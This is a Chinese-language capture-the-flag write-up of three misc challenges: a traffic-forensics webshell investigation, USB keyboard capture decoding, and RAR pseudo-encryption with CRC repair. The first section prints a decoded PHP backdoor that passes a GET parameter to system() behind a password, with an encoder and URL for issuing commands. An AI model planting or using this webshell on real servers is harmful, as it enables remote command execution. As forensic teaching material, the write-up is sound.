7. 初赛misc——事件调查
一个流量一个web,web大部分都404/403,看流量。
很明显已经提示你webshell在/shopping/admin/productimages/目录,但24/25/26/27都没有,追踪流可以看到decode.php似乎是一个上传的小马。
猜测这个目录可能是一个上传图片的接口所指定的目录,然后去找28/29/30。
http.request.uri contains "decode.php"
可以看到28明显不正常,追踪流。
上传了一个test.php,最终save到admin_login.php,而且流量是加密的。
这个admin_login.php是存在的,但提示password error,应该就是要解密流量。
那么我们需要先找到decode.php的源码。
http.request.method == "POST"
可以看出来insert-product.php第一次是用来上传图片的,第二次却没有图片标识了,追踪流进去发现上传了webshell。
这种直接把$GPlPY打印出来就是执行代码,很简单,得到代码如下。
if ($_FILES["file"]["error"] > 0){echo "Error: " . $_FILES["file"]["error"] . "<br />";}else{if ($_FILES["file"]){echo "Upload: " . $_FILES["file"]["name"] . "<br />";echo "Type: " . $_FILES["file"]["type"] . "<br />";echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";echo "Stored in: " . $_FILES["file"]["tmp_name"] . "<br />";$file_path = "./" . $_FILES["file"]["name"];move_uploaded_file($_FILES["file"]["tmp_name"], $file_path);echo "文件存储在: " . $file_path . "<br />";$data = read_file($file_path);echo "Data: " . $data . "<br />";$save_file = "./admin_login.php";save_file($save_file, decode($data));echo "文件2存储在: " . $save_file . "<br />";}}function read_file($path){$myfile = fopen($path, "r") or die("Unable to open file!");$data = fread($myfile,filesize($path));fclose($myfile);return $data;}function save_file($path, $content){echo "save_file: <br />";$file = fopen($path, 'w');fwrite($file, $content);fclose($file);}function decode($string = '', $skey = 'wenzi') {$strArr = str_split(str_replace(array('O0O0O', 'o000o', 'oo00o'), array('=', '+', '/'), $string), 2);$strCount = count($strArr);foreach (str_split($skey) as $key => $value)$key <= $strCount && $strArr[$key][1] === $value && $strArr[$key] = $strArr[$key][0];return base64_decode(join('', $strArr));}
所以抄一下decode()就可以将admin_login.php的代码解密了,解密后代码如下。
<?php function qPjzBT($pUBD){$pUBD=gzinflate(base64_decode($pUBD));for($i=0;$i<strlen($pUBD);$i++){$pUBD[$i] = chr(ord($pUBD[$i])-1);}return $pUBD;}eval(qPjzBT("ZVFdT4QwEPwB/RUbQq4lXiJ3Gl+UM8YYH33x7UIuFRYO7VHSgnf48dvdBU6NQgLTmdndaQvAjxBFV2dtZWvIMbM5qtC3rqpLSEDKOYT+BXvGe6zfKhnBu+AyNt04RwKBjW9M1SpGDhujM1TaOd0r+RDTS12kjePYDsAyiOYwORImT/hzyuw0nNAyuvyedGu7uqVZGf/VNHvSC+tQZ1tQP0GGzBFoD+EQfgXhqzYdRkPBSF4lvzrPZscNrVlM14sUkiSZyv7JkPyxx+mYxWHbuRqetMeL8810ns+2qtV4lGNuCv4phAizXc6dNvd3j2tpvKQmzC2JPF4FLckd5rrVxOKhMUzLD+7GVhKrAtRgoBQUGoJSG33oF8uzERRGl8Hx2nzvW9xN/kU6JEHjcVQx21oIGu393roc0DnrgiHs9Up8AQ=="));?>
搁这套娃是吧,继续var_dump($pUBD);
function decode($string = '', $skey = 'wenzi') {$strArr = str_split(str_replace(array('O0O0O', 'o000o', 'oo00o'), array('=', '+', '/'), $string), 2);$strCount = count($strArr);foreach (str_split($skey) as $key => $value)$key <= $strCount && $strArr[$key][1] === $value && $strArr[$key] = $strArr[$key][0];return base64_decode(join('', $strArr));}$cmd = $_GET['ls'];$cmd2 = decode($cmd);$data = explode('|', $cmd2);if ($data[0] == "galaxy123galaxyflag") {system($data[1]);}else{echo "password error";}
所以最后的使用方法是ls=encode('galaxy123galaxyflag|whoami')
decode我们知道了,但这个encode怎么写呢?自己逆好像很麻烦,把decode的代码放百度搜一下就能出来。
<?phpfunction encode($string = '', $skey = 'wenzi') {$strArr = str_split(base64_encode($string));$strCount = count($strArr);foreach(str_split($skey) as $key => $value)$key < $strCount && $strArr[$key].=$value;return str_replace(array('=', '+', '/'), array('O0O0O', 'o000o', 'oo00o'), join('', $strArr));}echo encode('galaxy123galaxyflag|whoami');
得到payload再放入webshell使用即可。
/shopping/admin/productimages/28/admin_login.php?ls=xxxx
8. 初赛misc——USB Key
通过流量的Leftover Capture Data段可以看出来是键盘流量。
筛选一下。
usb.data_len == 8
如果是鼠标,长度不一样。在kali中提取出来。
tshark -r USB\ Key.pcap -T fields -e usb.capdata -Y "usb.data_len == 8" | sed '/^\s*$/d' > usbdata.txt
很明显看得出来每行的5-8位对应一个按键,然后就是写脚本处理成字符串了,网上随便抄一个。
f=open('usbdata.txt','r')fi=open('out.txt','w')while 1:a=f.readline().strip()if a:if len(a)==16: # mouse len = 8out=''for i in range(0,len(a),2):if i+2 != len(a):out+=a[i]+a[i+1]+":"else:out+=a[i]+a[i+1]fi.write(out)fi.write('\n')else:breakfi.close()normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e","09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j","0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o","13":"p", "14":"q", "15":"r", "16":"s", "17":"t","18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y","1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4","22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E","09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J","0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O","13":"P", "14":"Q", "15":"R", "16":"S", "17":"T","18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y","1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$","22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}output = []keys = open('out.txt')for line in keys:try:if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":continueif line[6:8] in normalKeys.keys():output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']else:output += ['[unknown]']except:passkeys.close()flag=0print("".join(output))for i in range(len(output)):try:a=output.index('<DEL>')del output[a]del output[a-1]except:passfor i in range(len(output)):try:if output[i]=="<CAP>":flag+=1output.pop(i)if flag==2:flag=0if flag!=0:output[i]=output[i].upper()except:passprint ('output :' + "".join(output))
得到flag
9. 初赛misc——密码锁
开局一张图,用Stegsolve.jar看了半天没看明白,十六进制打开一看。
行吧,上binwalk。
然后foremost分离,得到一个rar,还需要密码,而且不显示文件名。
先看一下是不是伪加密,用winrar制作三份加密内容一致的rar文件,1份不加密,1份加密但不加密文件名,1份加密且加密文件名。4份文件对照一下。
通过0x0-0xF位对比,显然目标更接近于不加密文件,而且显然它可以看到被加密文件名是readme.txt,也就是说这是个伪加密。通过010editor的rar模板得知,在0xA位置上有BLOCK_HEADERS_ENCRYPTED ,将其改为1,同时0xA位上的0x80会变成0x00。
可以发现现在可以看到文件名了(可能部分压缩软件打开有CRC校验问题)
但加密位就不好看出来了,这里百度搜索得知是在0x17位,同时在001.rar中的rar模板上有提示,将PASSWORD_ENCRYPTED改成1,0x17位上的0x20会变成0x24。
也就是说目标文件上的0x7424改成0x7420即可,然而改完之后发现。
这是因为CRC校验问题,如果使用winrar打开,则可以无视错误,强行提取文件。
最后base64+html编码decode即可拿到flag。这里介绍下如何修复CRC。
首先,看001.rar可以明显看出来标红的CRC位,这两个就是我们修改密码标识位后需要修复的位置。
010editor中内置校验器, Ctrl+K打开。
但是需要确定校验范围,第一块的校验域比较容易确定,但第二块不好确定,这里要参考RAR.bt的代码。
if (HeadType != MARKER){local uint16 crcCheck = Checksum(CHECKSUM_CRC32, startof(HeadType), HeaderSize-sizeof(HEAD_CRC)) & 0xFFFF;if (crcCheck != HEAD_CRC){Warning("Header CRC mismatch in Block #%Lu", iBlocksCounter);Printf("Header CRC mismatch in Block #%Lu: expected CRC is 0x%X, got 0x%X\n", iBlocksCounter, crcCheck, HEAD_CRC);++iBadCRCCounter;}}
起始位置为HeadType,也就是0x9的位置,向后位数为HeaderSize-2(因为CRC只有2位)。
也就是从0x9到0x9+0xD-2=0x14,因为包括0x9自己,实际是0x9到0x13。
修改CE99为CF90,001.rar也是这个CRC。
同理,EB00的CRC,起始位置为0x16,HeaderSize为0x2F,那么就是从0x16到0x16+0x2F-2-1=0x42
也就是修改EB00为63E1
至此完美打开不报错。